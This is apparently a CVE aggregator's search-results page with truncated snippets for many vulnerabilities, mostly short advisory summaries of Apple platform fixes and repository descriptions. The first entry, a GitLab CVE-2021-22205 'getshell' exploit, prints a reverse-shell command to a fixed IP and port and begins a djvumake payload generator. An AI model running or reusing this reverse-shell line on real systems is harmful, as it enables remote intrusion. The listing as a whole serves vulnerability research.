147907 matches found
CVE-2021-22205-getshell
CVE-2021-22205-getshell CVE-2021-22205-getshell 测试版本 构造生成漏洞利用的命令 root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh 利用djvumake生成漏洞利用的图片 root@kitploit: import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh",...
CVE-2016-2555
CVE-2016-2555 CVE-2016-2555...
CVE-2015-6612
CVE-2015-6612 关于该漏洞的详细信息，请参阅 description.pdf 关于此漏洞的我的悲伤故事： 我于去年三月向 ZDI 报告了此问题。起初，他们表示无法在最新的 Android 版本上复现，经过半个月的沟通后，他们决定不收购该漏洞。 我持有这个漏洞很长时间，并于2015年8月21日向 Google 报告，但它成为了一个重复的问题。 https://code.google.com/p/android/issues/detail?id=183414 有趣的是，它与2015年8月23日报告的问题重复，即 ANDROID-23540426...
CVE-2022-37969
CVE-2022-37969...
CVE-2021-28378
CVE-2021-28378 有关此 CVE 的详细信息见此处。 此 CVE 针对的是从服务器获取的内容在客户端缺少字符串转义的问题。 它使攻击者能够通过在 issue 或拉取请求上创建评论，轻松注入任意代码。 该问题是在提交 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5 中引入的，时间大约是 2020 年 1 月底，但由于是一次 squash 合并，我们无法准确知道是谁引入了该问题，从而无法调查是否还引入了类似的 bug。 首先，让我们了解这个漏洞的来源。为此，请看修复此 CVE 的提交。 修复前： 第一个： root@kitploit: label...
CVE-2026-58502
githubtoplanguages generates a user's top GitHub languages as an SVG. The .github/workflows/discord-issue.yml workflow runs when an issue is opened or closed and interpolates github.event.issue.title directly into the Bash assignment for ISSUETITLE before shell parsing. An issue title containing...
CVE-2026-58502
githubtoplanguages , a tool that renders a user's top GitHub languages as an SVG, is affected by a command injection in its .github/workflows/discord-issue.yml GitHub Actions workflow. The workflow interpolates github.event.issue.title directly into a Bash assignment before shell parsing, so any ...
CVE-2021-28235
此存储库没有 README。...
CVE-2026-86910
A permissions issue was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An application may be able to access restricted files...
CVE-2026-86909
A logic issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27. An app may be able to bypass Gatekeeper checks...
CVE-2026-86917
A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain root privileges...
CVE-2026-86894
A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27. An app may be able to break out of its sandbox...
CVE-2026-86893
A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, tvOS 27, visionOS 27, watchOS 27. An app may be able to read device name...
CVE-2026-86898
A logic issue was addressed with improved state management. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. Opening a maliciously crafted webarchive file may lead to universal cross-site scripting...
CVE-2026-86883
A privacy issue was addressed with improved handling of files. This issue is fixed in iOS 27 and iPadOS 27, visionOS 27. An app may be able to access sensitive user data...
CVE-2026-86888
A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. A local app may be able to read a persistent account identifier...
CVE-2026-86884
A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, watchOS 27. An app may be able to access sensitive user data...
CVE-2026-86890
A logic issue was addressed with improved checks. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27. An attacker with physical access to a locked device may be able to view sensitive user information...